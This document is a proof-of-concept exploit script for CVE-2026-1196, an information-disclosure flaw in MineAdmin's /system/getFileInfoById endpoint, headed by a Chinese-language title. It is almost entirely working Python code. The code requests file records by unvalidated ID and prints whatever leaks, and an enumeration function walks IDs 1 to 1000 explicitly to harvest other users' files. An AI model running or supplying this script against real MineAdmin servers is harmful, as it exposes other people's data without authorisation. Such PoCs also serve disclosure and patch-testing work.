CVE-2026-1196 MineAdmin系统getFileInfoById接口信息泄露漏洞

# CVE-2026-1196 PoC - MineAdmin Information Disclosure # Target: MineAdmin 1.x/2.x # Endpoint: /system/getFileInfoById import requests import json TARGET_URL = "http://target-website.com" # Replace with actual target API_ENDPOINT = "/system/getFileInfoById" def exploit_cve_2026_1196(target_url, file_id): """ Exploit for CVE-2026-1196 Information Disclosure vulnerability in MineAdmin /system/getFileInfoById endpoint Args: target_url: Base URL of the vulnerable MineAdmin instance file_id: Integer ID of the file to retrieve info (can be enumerated) Returns: dict: Response containing file information if vulnerable """ # Construct the vulnerable endpoint url = f"{target_url}{API_ENDPOINT}" # Prepare request parameters params = { "id": file_id # Unvalidated ID parameter } # Headers (may require basic authentication) headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: # Send GET request to vulnerable endpoint response = requests.get(url, params=params, headers=headers, timeout=10) if response.status_code == 200: data = response.json() # Check if sensitive information is leaked if "data" in data or "file_path" in data or "path" in data: print(f"[!] Vulnerability confirmed! File ID: {file_id}") print(f"[+] Leaked information: {json.dumps(data, indent=2)}") return data else: print(f"[*] No sensitive data for File ID: {file_id}") return None else: print(f"[*] Request failed with status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") return None def enumerate_files(start_id=1, end_id=1000): """ Enumerate file IDs to discover other users' files """ leaked_files = [] print(f"[*] Starting enumeration from ID {start_id} to {end_id}") for file_id in range(start_id, end_id + 1): result = exploit_cve_2026_1196(TARGET_URL, file_id) if result: leaked_files.append({"id": file_id, "data": result}) print(f"\n[+] Total leaked files: {len(leaked_files)}") return leaked_files if __name__ == "__main__": # Single file test print("[*] Testing single file ID...") exploit_cve_2026_1196(TARGET_URL, 1) # Or run enumeration # enumerate_files(1, 100)